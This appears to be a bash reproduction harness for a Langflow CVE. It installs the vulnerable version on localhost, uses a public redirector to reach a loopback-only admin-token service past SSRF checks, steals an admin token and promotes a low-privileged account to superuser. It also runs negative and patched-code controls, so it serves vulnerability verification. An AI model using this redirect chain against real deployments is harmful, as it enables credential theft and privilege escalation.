#!/bin/bash
# CVE-2026-10129 - Langflow OSS SSRF protection bypass via HTTP redirect
# following in the API Request component, chained to a real privilege boundary
# effect in Langflow.
#
# This script reproduces against a REAL Langflow 1.9.3 server driven through its
# HTTP API (api_remote). A low-privileged registered user creates and runs a flow
# containing the real API Request component. The component is configured with a
# public URL that 302-redirects to a loopback-only internal admin/metadata
# service. With SSRF protection enabled, direct loopback URLs are blocked, but
# vulnerable Langflow validates only the initial public URL and lets httpx follow
# the redirect to 127.0.0.1 without re-validation.
#
# Privilege boundary proof:
#   1. Before exploitation, the attacker token is forbidden from GET /api/v1/users/.
#   2. The SSRF response discloses a real Langflow admin bearer token from the
#      loopback-only internal admin service.
#   3. The attacker uses that stolen token against real Langflow admin-only APIs
#      to promote the attacker account.
#   4. The original attacker token then returns is_superuser=true from
#      /api/v1/users/whoami.
#
# Controls:
#   * Direct http://127.0.0.1 internal URL is blocked by SSRF protection.
#   * Official fixed api_request.py redirect re-validation blocks the same
#     public->loopback redirect in the real component harness.
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
DATA_DIR="$ROOT/data"
mkdir -p "$LOGS" "$REPRO_DIR" "$DATA_DIR"
cd "$ROOT"
: > "$LOGS/reproduction_steps.log"

MARKER="INTERNAL_ADMIN_TOKEN_CVE_2026_10129"
INTERNAL_PORT=9999
LF_PORT=7860
ADMIN_USER="admin"
ADMIN_PASS="AdminPass-CVE-2026-10129!"
ATTACKER_USER="attacker"
ATTACKER_PASS="AttackerPass-CVE-2026-10129!"
JWT_SECRET="PRUVA_DETERMINISTIC_SECRET_FOR_CVE_2026_10129_PRIVESC"
LF_DB_PATH="${DATA_DIR}/langflow.db"
LF_DB="sqlite:///${LF_DB_PATH}"

# Locate the cached repo (HEAD) which contains the official fix code.
REPO_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
  REPO_DIR=$(jq -r 'if .prepared == true and .project_cache_dir then .project_cache_dir + "/repo" else empty end' "$ROOT/project_cache_context.json" 2>/dev/null || echo "")
fi
if [ -z "$REPO_DIR" ] || [ ! -f "$REPO_DIR/src/lfx/src/lfx/components/data_source/api_request.py" ]; then
  REPO_DIR="$ROOT/artifacts/langflow"
fi

log(){ echo "[$(date -Is)] $*" | tee -a "$LOGS/reproduction_steps.log"; }

write_manifest(){
  local service_started="$1" health="$2" target="$3" notes="$4"
  "$PY" - "$REPRO_DIR/runtime_manifest.json" "$service_started" "$health" "$target" "$notes" "$LF_VER" <<'PYEOF'
import json, sys
out, service_started, health, target, notes, ver = sys.argv[1:]
manifest = {
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "POST /api/v1/build/{flow_id}/flow against running Langflow 1.9.3; low-privileged user executes API Request flow with follow_redirects=true and a public URL that 302-redirects to 127.0.0.1 internal admin token endpoint",
  "service_started": service_started.lower() == "true",
  "healthcheck_passed": health.lower() == "true",
  "target_path_reached": target.lower() == "true",
  "runtime_stack": [ver, "sqlite", "internal_admin(127.0.0.1:9999)", "postman-echo public redirector"],
  "proof_artifacts": [
    "logs/reproduction_steps.log",
    "logs/langflow_server.log",
    "logs/internal_admin.log",
    "logs/attacker_register.json",
    "logs/exploit_summary.json",
    "logs/build_exploit.ndjson",
    "logs/direct_summary.json",
    "logs/build_direct.ndjson",
    "logs/fixed_harness.json",
    "logs/vuln_harness.json"
  ],
  "notes": notes,
}
open(out, "w", encoding="utf-8").write(json.dumps(manifest, indent=2))
PYEOF
}

# ----------------------------------------------------------------------------
# 1. Create/reuse a venv and install the VULNERABLE stack.
#    Pinning langflow-base==0.9.3 yields lfx 0.4.x, whose API Request component
#    has no redirect re-validation. A loose install can pull a fixed lfx.
# ----------------------------------------------------------------------------
VENV="$DATA_DIR/venv"
PY="$VENV/bin/python"

if ! python3 -m uv --version >/dev/null 2>&1; then
  pip install --quiet uv 2>&1 | tee -a "$LOGS/pip_install.log" | tail -5 || true
fi
UV_RUN="python3 -m uv"
if ! $UV_RUN --version >/dev/null 2>&1; then
  UV_RUN="$HOME/.local/bin/uv"
fi

if [ ! -x "$PY" ]; then
  log "Creating virtual environment at $VENV ..."
  $UV_RUN venv "$VENV" --python 3.14 2>&1 | tee -a "$LOGS/pip_install.log" | tail -5
fi
log "Installing vulnerable stack langflow==1.9.3 langflow-base==0.9.3 (lfx 0.4.x) ..."
$UV_RUN pip install --python "$PY" "langflow==1.9.3" "langflow-base==0.9.3" 2>&1 \
  | tee -a "$LOGS/pip_install.log" | tail -15

LF_VER=$($PY -c "import importlib.metadata as m; print('langflow',m.version('langflow'),'langflow-base',m.version('langflow-base'),'lfx',m.version('lfx'))" 2>/dev/null || echo unknown)
log "installed: $LF_VER"
FIX_METHODS=$($PY - <<'PYEOF' 2>/dev/null || echo unknown
import lfx.components.data_source.api_request as m, inspect
print("yes" if "_follow_redirects_with_validation" in inspect.getsource(m.APIRequestComponent) else "no")
PYEOF
)
log "installed api_request.py has redirect re-validation fix? $FIX_METHODS (expect no for vulnerable)"

# ----------------------------------------------------------------------------
# 2. Pre-flight: confirm the public redirector really 302-redirects to loopback.
# ----------------------------------------------------------------------------
REDIRECT_URL="https://postman-echo.com/redirect-to?url=http%3A%2F%2F127.0.0.1%3A${INTERNAL_PORT}%2Fadmin-token"
log "Pre-flight: public redirector $REDIRECT_URL"
PREFLIGHT=$(curl -s -o /dev/null -w "%{http_code} %{redirect_url}" --max-redirs 0 --max-time 25 "$REDIRECT_URL" 2>&1 || true)
log "Pre-flight redirector: $PREFLIGHT"

cleanup(){
  pkill -f "langflow run" 2>/dev/null || true
  pkill -f "internal_admin.py" 2>/dev/null || true
  pkill -f "$VENV/bin/python -m langflow" 2>/dev/null || true
}
trap cleanup EXIT
cleanup || true

# ----------------------------------------------------------------------------
# 3. Start Langflow in real multi-user mode. Public signup is enabled only so we
#    can create a low-privileged attacker account through the public API; a
#    separate configured superuser is created by Langflow startup.
# ----------------------------------------------------------------------------
rm -f "$LF_DB_PATH" "$LF_DB_PATH-wal" "$LF_DB_PATH-shm"
rm -f "$DATA_DIR/secret_key"
export LANGFLOW_AUTO_LOGIN=false LANGFLOW_SKIP_AUTH_AUTO_LOGIN=false LANGFLOW_ENABLE_SUPERUSER_CLI=true
export LANGFLOW_ENABLE_SIGNUP=true LANGFLOW_NEW_USER_IS_ACTIVE=true
export LANGFLOW_SUPERUSER="$ADMIN_USER" LANGFLOW_SUPERUSER_PASSWORD="$ADMIN_PASS"
export LANGFLOW_SECRET_KEY="$JWT_SECRET"
export LANGFLOW_SSRF_PROTECTION_ENABLED=true LANGFLOW_DATABASE_URL="$LF_DB" LANGFLOW_CONFIG_DIR="$DATA_DIR"
export LANGFLOW_SAVE_DB_IN_CONFIG_DIR=true LANGFLOW_BACKEND_ONLY=true LANGFLOW_TELEMETRY_ENABLED=false
export LANGFLOW_HOST=127.0.0.1 LANGFLOW_PORT=$LF_PORT

log "Starting vulnerable Langflow server on 127.0.0.1:$LF_PORT in multi-user mode ..."
$PY -m langflow run --host 127.0.0.1 --port "$LF_PORT" --backend-only --workers 1 > "$LOGS/langflow_server.log" 2>&1 &
LF_PID=$!
log "langflow server pid=$LF_PID"

SERVER_UP=false
for i in $(seq 1 120); do
  if curl -s --max-time 3 "http://127.0.0.1:$LF_PORT/api/v1/config" 2>/dev/null | grep -qE "feature_flags|frontend_timeout|auto_login|access_token"; then
    SERVER_UP=true; log "Langflow server is up (health OK)"; break
  fi
  if ! kill -0 "$LF_PID" 2>/dev/null; then log "ERROR: langflow server process died"; break; fi
  sleep 1
done
if [ "$SERVER_UP" != "true" ]; then
  log "ERROR: Langflow server did not become healthy"
  tail -80 "$LOGS/langflow_server.log" | tee -a "$LOGS/reproduction_steps.log"
  LF_VER="${LF_VER:-unknown}"; write_manifest false false false "Langflow server failed to start"
  exit 2
fi

# Ensure the startup-created admin exists and can log in.
ADMIN_LOGIN=$(curl -s --max-time 20 -X POST "http://127.0.0.1:$LF_PORT/api/v1/login" \
  -d "username=$ADMIN_USER&password=$ADMIN_PASS" || true)
if ! echo "$ADMIN_LOGIN" | grep -q access_token; then
  log "ERROR: configured admin did not log in: $ADMIN_LOGIN"
  write_manifest true true false "configured admin login failed"
  exit 2
fi
log "Configured superuser login works (admin boundary exists)"

# Create a low-privileged attacker through the real public signup endpoint.
log "Creating low-privileged attacker user via POST /api/v1/users/ ..."
curl -s --max-time 30 -X POST "http://127.0.0.1:$LF_PORT/api/v1/users/" \
  -H 'Content-Type: application/json' \
  -d "{\"username\":\"$ATTACKER_USER\",\"password\":\"$ATTACKER_PASS\"}" \
  > "$LOGS/attacker_register.json" || true
log "Attacker registration response: $(cat "$LOGS/attacker_register.json" 2>/dev/null)"
if ! grep -q '"is_superuser":false' "$LOGS/attacker_register.json"; then
  log "ERROR: attacker registration did not create an active non-superuser"
  write_manifest true true false "low-privileged attacker registration failed"
  exit 2
fi

# ----------------------------------------------------------------------------
# 4. Start the loopback-only internal admin service. It reads the real Langflow
#    admin user from the SQLite DB and returns a real admin JWT signed with the
#    same LANGFLOW_SECRET_KEY. This models internal admin/metadata credentials.
# ----------------------------------------------------------------------------
$PY "$REPRO_DIR/internal_admin.py" --port "$INTERNAL_PORT" --db "$LF_DB_PATH" \
  --secret-key "$JWT_SECRET" --admin-username "$ADMIN_USER" > "$LOGS/internal_admin.log" 2>&1 &
INTERNAL_PID=$!
log "internal admin token service pid=$INTERNAL_PID on 127.0.0.1:$INTERNAL_PORT"
INTERNAL_UP=false
for i in $(seq 1 60); do
  if curl -s --max-time 3 "http://127.0.0.1:$INTERNAL_PORT/admin-token" 2>/dev/null | grep -q "$MARKER"; then
    INTERNAL_UP=true; log "internal admin token service is up"; break
  fi
  sleep 0.5
done
if [ "$INTERNAL_UP" != "true" ]; then
  log "ERROR: internal admin token service did not become ready"
  cat "$LOGS/internal_admin.log" | tee -a "$LOGS/reproduction_steps.log" || true
  write_manifest true true false "internal admin token service failed to start"
  exit 2
fi

# ----------------------------------------------------------------------------
# 5. EXPLOIT: low-privileged attacker runs an API Request flow using a public URL
#    that redirects to the loopback-only admin token endpoint. The exploit client
#    verifies the pre-exploit boundary, steals the admin token through the flow
#    output, uses it against real admin APIs, promotes the attacker, and verifies
#    the attacker became superuser.
# ----------------------------------------------------------------------------
log "Generating exploit flow (public redirector + follow_redirects=true) ..."
$PY "$REPRO_DIR/gen_flow.py" --url "$REDIRECT_URL" --follow-redirects true \
  --name APIRequest --out "$DATA_DIR/flow_exploit.json" 2>&1 | tee -a "$LOGS/reproduction_steps.log" | tail -2 || true

log "EXPLOIT RUN: low-privileged flow author builds API Request flow through HTTP API"
$PY "$REPRO_DIR/exploit_client.py" \
  --base "http://127.0.0.1:$LF_PORT" --user "$ATTACKER_USER" --pass "$ATTACKER_PASS" \
  --flow "$DATA_DIR/flow_exploit.json" --name "cve-2026-10129-ssrf-privesc" \
  --out "$LOGS/build_exploit.ndjson" --prove-privilege > "$LOGS/exploit_summary.json" 2>&1 || true
log "Exploit summary: $(cat "$LOGS/exploit_summary.json" 2>/dev/null)"
EXPLOIT_BYPASS=$($PY -c "import json;print(str(json.load(open('$LOGS/exploit_summary.json')).get('marker_found',False)).lower())" 2>/dev/null || echo false)
PRIVESC=$($PY -c "import json;print(str(json.load(open('$LOGS/exploit_summary.json')).get('privilege_escalation_observed',False)).lower())" 2>/dev/null || echo false)
LOWPRIV_FORBIDDEN=$($PY -c "import json;print(str(json.load(open('$LOGS/exploit_summary.json')).get('lowpriv_admin_list_status_before') in (401,403)).lower())" 2>/dev/null || echo false)
STOLEN_ADMIN_OK=$($PY -c "import json;print(str(json.load(open('$LOGS/exploit_summary.json')).get('stolen_token_admin_list_status') == 200).lower())" 2>/dev/null || echo false)

# ----------------------------------------------------------------------------
# 6. NEGATIVE CONTROL: direct internal URL (no redirect) must be blocked by SSRF
#    protection for the same low-privileged user and component.
# ----------------------------------------------------------------------------
DIRECT_URL="http://127.0.0.1:${INTERNAL_PORT}/admin-token"
log "Generating negative-control flow (direct loopback URL) ..."
$PY "$REPRO_DIR/gen_flow.py" --url "$DIRECT_URL" --follow-redirects true \
  --name APIRequest --out "$DATA_DIR/flow_direct.json" 2>&1 | tee -a "$LOGS/reproduction_steps.log" | tail -1 || true
log "NEGATIVE CONTROL RUN: direct http://127.0.0.1:$INTERNAL_PORT (expect SSRF block, no marker)"
$PY "$REPRO_DIR/exploit_client.py" \
  --base "http://127.0.0.1:$LF_PORT" --user "$ATTACKER_USER" --pass "$ATTACKER_PASS" \
  --flow "$DATA_DIR/flow_direct.json" --name "cve-2026-10129-direct-ctrl" \
  --out "$LOGS/build_direct.ndjson" > "$LOGS/direct_summary.json" 2>&1 || true
log "Negative-control summary: $(cat "$LOGS/direct_summary.json" 2>/dev/null)"
DIRECT_BLOCKED=$($PY -c "import json;print(str(json.load(open('$LOGS/direct_summary.json')).get('ssrf_blocked',False)).lower())" 2>/dev/null || echo false)

# ----------------------------------------------------------------------------
# 7. FIXED CONTROL: load official HEAD api_request.py with
#    _follow_redirects_with_validation into the lfx env and re-run the same
#    redirect at component level. The fix must reject the redirect destination.
# ----------------------------------------------------------------------------
FIXED_BLOCKED=false
API_REQUEST_PY=$($PY -c "import lfx.components.data_source.api_request as m; print(m.__file__)" 2>/dev/null || echo "")
if [ -n "$API_REQUEST_PY" ] && [ -f "$API_REQUEST_PY" ] && [ -f "$REPO_DIR/src/lfx/src/lfx/components/data_source/api_request.py" ]; then
  log "FIXED CONTROL: swapping in official HEAD api_request.py (redirect re-validation)"
  cp "$API_REQUEST_PY" "$DATA_DIR/api_request_vuln_backup.py"
  cp "$REPO_DIR/src/lfx/src/lfx/components/data_source/api_request.py" "$API_REQUEST_PY"
  set +e
  $PY "$REPRO_DIR/run_component.py" --url "$REDIRECT_URL" --follow-redirects true --timeout 30 \
    > "$LOGS/fixed_harness.json" 2>&1
  FIXED_RC=$?
  set -e
  cp "$DATA_DIR/api_request_vuln_backup.py" "$API_REQUEST_PY"
  log "Fixed-control harness rc=$FIXED_RC output: $(cat "$LOGS/fixed_harness.json" 2>/dev/null)"
  if grep -qiE "blocked redirect|resolves to blocked IP|is blocked by SSRF" "$LOGS/fixed_harness.json" 2>/dev/null; then
    FIXED_BLOCKED=true
  fi
else
  log "WARN: could not locate api_request.py or HEAD repo for fixed-control swap"
fi

# ----------------------------------------------------------------------------
# 8. VULNERABLE component-level harness (secondary confirmation using restored
#    vulnerable api_request.py).
# ----------------------------------------------------------------------------
log "VULN component harness (restored vulnerable api_request.py):"
$PY "$REPRO_DIR/run_component.py" --url "$REDIRECT_URL" --follow-redirects true --timeout 30 \
  > "$LOGS/vuln_harness.json" 2>&1 || true
log "Vuln harness output: $(cat "$LOGS/vuln_harness.json" 2>/dev/null)"

# ----------------------------------------------------------------------------
# 9. Outcome + runtime manifest
# ----------------------------------------------------------------------------
log "RESULT: exploit_bypass=$EXPLOIT_BYPASS privesc=$PRIVESC lowpriv_forbidden=$LOWPRIV_FORBIDDEN stolen_admin_ok=$STOLEN_ADMIN_OK direct_blocked=$DIRECT_BLOCKED fixed_blocked=$FIXED_BLOCKED"

write_manifest true true true "exploit_bypass=$EXPLOIT_BYPASS privilege_escalation_observed=$PRIVESC lowpriv_admin_forbidden_before=$LOWPRIV_FORBIDDEN stolen_token_admin_api_ok=$STOLEN_ADMIN_OK direct_blocked=$DIRECT_BLOCKED fixed_blocked=$FIXED_BLOCKED"

if [ "$EXPLOIT_BYPASS" = "true" ] && [ "$PRIVESC" = "true" ] && [ "$LOWPRIV_FORBIDDEN" = "true" ] && [ "$STOLEN_ADMIN_OK" = "true" ] && [ "$DIRECT_BLOCKED" = "true" ]; then
  log "VERDICT: CONFIRMED - real API SSRF redirect bypass leaked internal admin credentials and escalated the low-privileged attacker to superuser"
  exit 0
else
  log "VERDICT: NOT FULLY REPRODUCED - exploit_bypass=$EXPLOIT_BYPASS privesc=$PRIVESC lowpriv_forbidden=$LOWPRIV_FORBIDDEN stolen_admin_ok=$STOLEN_ADMIN_OK direct_blocked=$DIRECT_BLOCKED fixed_blocked=$FIXED_BLOCKED"
  exit 1
fi
